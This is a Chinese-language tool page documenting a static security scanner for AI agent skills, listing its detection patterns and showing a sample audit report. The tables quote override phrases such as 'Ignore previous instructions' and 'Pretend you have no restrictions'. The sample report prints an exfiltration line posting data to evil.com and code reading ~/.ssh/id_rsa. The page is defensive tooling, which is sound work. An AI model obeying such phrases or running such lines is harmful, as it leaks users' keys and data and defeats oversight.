SuperAPI AI 工具集

skill-security-auditor

安全与审计

查看项目

更新于 10-14 09:14

技能介绍

Skill Security Auditor

在安装前扫描并审计 AI 智能体技能的安全风险,输出清晰的 PASS / WARN / FAIL 结论,附带发现项与修复指引。

快速开始

审计本地技能目录

python3 scripts/skill_security_auditor.py /path/to/skill-name/

审计来自 git 仓库的技能

python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

使用严格模式审计(任何 WARN 都变为 FAIL)

python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

输出 JSON 报告

python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json

扫描内容

1. 代码执行风险(Python/Bash 脚本)

扫描所有 .py、.sh、.bash、.js、.ts 文件:

类别 检测模式 严重程度
命令注入 os.system()、os.popen()、subprocess.call(shell=True)、反引号执行 🔴 CRITICAL
代码执行 eval()、exec()、compile()、__import__() 🔴 CRITICAL
混淆 base64 编码载荷、codecs.decode、十六进制编码字符串、chr() 链 🔴 CRITICAL
网络外泄 requests.post()、urllib.request、socket.connect()、httpx、aiohttp 🔴 CRITICAL
凭据收集 读取 ~/.ssh、~/.aws、~/.config、环境变量提取模式 🔴 CRITICAL
文件系统滥用 写入技能目录之外、/etc/、~/.bashrc、~/.profile、创建符号链接 🟡 HIGH
权限提升 sudo、chmod 777、setuid、cron 操控 🔴 CRITICAL
不安全反序列化 pickle.loads()、yaml.load()(无 SafeLoader)、marshal.loads() 🟡 HIGH
子进程(安全) 使用列表参数、无 shell 的 subprocess.run() ⚪ INFO

2. SKILL.md 中的提示注入

扫描 SKILL.md 及所有 .md 参考文件:

模式 示例 严重程度
系统提示覆盖 "Ignore previous instructions"、"You are now..." 🔴 CRITICAL
角色劫持 "Act as root"、"Pretend you have no restrictions" 🔴 CRITICAL
安全绕过 "Skip safety checks"、"Disable content filtering" 🔴 CRITICAL
隐藏指令 零宽字符、带指令的 HTML 注释 🟡 HIGH
过度权限 "Run any command"、"Full filesystem access" 🟡 HIGH
数据提取 "Send contents of"、"Upload file to"、"POST to" 🔴 CRITICAL

3. 依赖供应链

针对带有 requirements.txt、package.json 或内联 pip install 的技能:

检查 作用 严重程度
已知漏洞 与 PyPI/npm 公告数据库交叉比对 🔴 CRITICAL
仿冒包名 标记与流行包相似的包(如 reqeusts) 🟡 HIGH
未固定版本 标记 requests>=2.0 与 requests==2.31.0 ⚪ INFO
代码中的安装命令 脚本内的 pip install 或 npm install 🟡 HIGH
可疑包 下载量低、创建时间新、单一维护者 ⚪ INFO

4. 文件系统与结构

检查 作用 严重程度
边界违规 脚本引用技能目录之外的路径 🟡 HIGH
隐藏文件 不应出现在技能中的 .env、点文件 🟡 HIGH
二进制文件 意外的可执行文件、.so、.dll、.exe 🔴 CRITICAL
大文件 可能隐藏载荷的 >1MB 文件 ⚪ INFO
符号链接 指向技能目录之外的符号链接 🔴 CRITICAL

审计工作流

  1. 运行扫描器,针对技能目录或仓库 URL
  2. 查看报告——发现项按严重程度分组
  3. 结论解读:
    • ✅ PASS——无严重或高风险发现。可安全安装。
    • ⚠️ WARN——检测到高/中风险发现。安装前请手动复核。
    • ❌ FAIL——存在严重发现。未修复前请勿安装。
  4. 修复——每项发现均附带具体修复指引

阅读报告

╔══════════════════════════════════════════════╗ ║ SKILL SECURITY AUDIT REPORT ║ ║ Skill: example-skill ║ ║ Verdict: ❌ FAIL ║ ╠══════════════════════════════════════════════╣ ║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║ ╚══════════════════════════════════════════════╝

🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42 Pattern: eval(user_input) Risk: Arbitrary code execution from untrusted input Fix: Replace eval() with ast.literal_eval() or explicit parsing

🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88 Pattern: requests.post("https://evil.com/collect", data=results) Risk: Data exfiltration to external server Fix: Remove outbound network calls or verify destination is trusted

🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15 Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) Risk: Reads SSH private key outside skill scope Fix: Remove filesystem access outside skill directory

⚪ INFO [DEPS-UNPIN] requirements.txt:3 Pattern: requests>=2.0 Risk: Unpinned dependency may introduce vulnerabilities Fix: Pin to specific version: requests==2.31.0

高级用法

克隆前审计来自 Git 的技能

# 克隆到临时目录,审计,然后清理
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup

CI/CD 集成

# GitHub Actions 步骤
- name: "audit-skill-security"
  run: |
    python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi

批量审计

# 审计目录中的所有技能
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done

威胁模型参考

关于针对 AI 智能体技能的完整威胁模型、检测模式和已知攻击向量,请参见 references/threat-model.md。

限制

  • 无法确定性地检测逻辑炸弹或延时载荷
  • 混淆检测基于模式——足够有创意的攻击者可能绕过
  • 网络目标信誉检查需要互联网访问
  • 不执行代码——仅静态分析(安全但不如动态分析完整)
  • 依赖漏洞检查使用本地模式匹配,而非实时 CVE 数据库

审计后如有疑虑,请勿安装。向技能作者询问澄清。